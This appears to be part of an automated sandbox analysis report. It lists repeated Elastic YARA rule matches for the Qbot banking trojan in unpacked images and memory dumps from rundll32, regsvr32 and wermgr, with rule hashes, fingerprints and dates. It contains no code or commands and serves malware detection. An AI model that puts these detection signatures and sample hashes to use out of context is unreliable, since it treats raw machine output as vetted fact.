Source: 5.3.rundll32.exe.b90000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 5.3.rundll32.exe.b90000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 3.3.regsvr32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 3.3.regsvr32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 8.2.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 8.2.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 3.2.regsvr32.exe.730000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 3.2.regsvr32.exe.730000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 9.0.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 9.0.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 5.2.rundll32.exe.2cc0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 5.2.rundll32.exe.2cc0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 9.2.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 9.2.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 3.2.regsvr32.exe.730000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 3.2.regsvr32.exe.730000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 3.3.regsvr32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 3.3.regsvr32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 5.2.rundll32.exe.2cc0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 5.2.rundll32.exe.2cc0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 7.0.wermgr.exe.1000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 7.0.wermgr.exe.1000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 9.2.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 9.2.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 8.0.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 8.0.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 9.0.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 9.0.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 4.2.rundll32.exe.4820000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 4.2.rundll32.exe.4820000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 7.0.wermgr.exe.1000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 7.0.wermgr.exe.1000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000004.00000003.312922602.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000004.00000003.312922602.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000005.00000003.313259350.0000000000B90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000005.00000003.313259350.0000000000B90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000004.00000002.320649129.0000000004820000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000004.00000002.320649129.0000000004820000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000005.00000002.320603133.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000005.00000002.320603133.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000007.00000000.319688371.0000000001000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000007.00000000.319688371.0000000001000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000003.00000003.312800639.0000000000400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000003.00000003.312800639.0000000000400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000008.00000000.319841073.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000008.00000000.319841073.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000009.00000000.319924513.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000009.00000000.319924513.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000009.00000002.322491943.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000009.00000002.322491943.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000008.00000002.322126638.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000008.00000002.322126638.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown

Source: diatomaceous.dat.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: 8.0.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 8.0.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 4.2.rundll32.exe.4820000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 4.2.rundll32.exe.4820000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 5.3.rundll32.exe.b90000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 5.3.rundll32.exe.b90000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 8.2.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 8.2.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 4.3.rundll32.exe.2fa0000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 4.3.rundll32.exe.2fa0000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 4.3.rundll32.exe.2fa0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 4.3.rundll32.exe.2fa0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 5.3.rundll32.exe.b90000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 5.3.rundll32.exe.b90000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 3.3.regsvr32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 3.3.regsvr32.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 8.2.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 8.2.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 3.2.regsvr32.exe.730000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 3.2.regsvr32.exe.730000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 9.0.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 9.0.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 5.2.rundll32.exe.2cc0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 5.2.rundll32.exe.2cc0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 9.2.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 9.2.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 3.2.regsvr32.exe.730000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 3.2.regsvr32.exe.730000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 3.3.regsvr32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 3.3.regsvr32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 5.2.rundll32.exe.2cc0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 5.2.rundll32.exe.2cc0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 7.0.wermgr.exe.1000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 7.0.wermgr.exe.1000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 9.2.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 9.2.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 8.0.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 8.0.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 9.0.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 9.0.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
